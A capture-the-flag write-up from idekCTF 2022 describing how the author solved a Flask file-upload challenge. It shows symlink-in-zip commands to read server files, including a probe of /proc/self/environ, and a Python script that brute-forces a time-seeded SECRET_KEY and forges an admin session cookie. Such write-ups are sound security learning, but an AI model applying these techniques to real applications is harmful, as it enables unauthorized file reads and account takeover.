idekCTF 2022* Writeup

In this CTF we (ISwearIGoogledIt) achieve 99 position.

scoreboard

SimpleFileServer [web][98 solves]


Keywords: flask, cookie

desc

This web application challenge involves a website in which we are able to upload zip files and view the files inside the zip. If we check the Dockerfile we can see the files and folders that are involved in the challenge.

dockerfile

In the Dockerfile we can also see that there is a flag binary with SUID activated in order to exfiltrate the flag. This behavior is also shown in the app.py file. One of the first approaches to analyze this type of challenges is to check where the flag is and how the challenge is prepared to be solved. In this case, there is a /flag route in which we need to set admin to True in our cookie to solve the chall. Flask applications use SECRET_KEY to sign the cookie, so we need to figured out how this variable is generated.

appflag
appflag
appflag

This application allow us to upload one zip of less than 2MB. After that, the zip is unzipped inside /tmp/uploads/{uuid}/ folder. In this moment, symlinks appeared in my mind and I found a ctf writeup of this type of vulnerabilities (link). So, we just need to create a symbolic link ln -s /tmp/server.log bubu.link and create a zip that preserves symlinks zip --symlink bubu.zip bubu.link. Using this technique, we are able to exfiltrate any file but flag, because of the 600 permission.

In this moment, my idea was to exfiltrate the SECRET_KEY. For exfiltrating SECRET_KEY, I tried using the environment in which the SECRET_KEY was declared using files such as /proc/self/environ. After trying that approach for some time, I remember server.log file and config.py in which SERVER_KEY was created. In the following screenshots first entries of server.log and the code of config.py are shown.

secret

After downloading the real config.py, we have the snippet code where SECRET_KEY is generated. If we want to generate the same key generated with random, we just need to use the same seed. In this creation, the only value that we don’t know is the time.time(). This is when server.log comes to the scene. In server.log file we can found the time when the server was started so we just need to bruteforce several seconds before this time. In others words, the time.time() is used before the first entry time shown in server.log. SECRET_KEY is generated few seconds before server started up.

In the final exploit, I bruteforced the time in miliseconds to generate the exact seed that generated the same SECRET_KEY. In my case, to verify the SECRET_KEY I used the code of flask-unsign repository. After finding the exact time for random.seed we signed our new cookie with admin=True and we navigated to /flag endpoint. The final exploit snippet code was:

import random
import sys
from session import verify, decode, sign

session = "eyJhZG1pbiI6bnVsbCwidWlkIjoiYSJ9.Y8NJdQ.t-Orpm8NJN1OcTRqzI1SJsx_hks"

# Check verify method
#print(verify("eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU", "CHANGEME"))


# Bruteforce
start = 1673737312
#       1673737412
end =   1673737415
SECRET_OFFSET = -67198624


while start < end:
    start = round(start,3)
    random.seed(round((start + SECRET_OFFSET) * 1000))
    key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")
    print(start)

    if verify(session, key) == True:
        #key = "e897071bf3d5dc6ff7882fc0b64ece5c"
        print("==="*20)
        print(sign({'admin':True, 'uid': 'a'}, key))
        sys.exit(0)

    start += 0.001

Finally, we just need to replace the cookie with our admin cookie and the flag appears. Tachan!!

flag

Thanks for reading!

Alberto Fernandez-de-Retana
Alberto Fernandez-de-Retana
PhD Student

Kaixo! PhD Student at University of Deusto under supervision of Igor Santos-Grueiro and Pablo G. Bringas. My research interests include web security & privacy. In my free time I love to be pizzaiolo.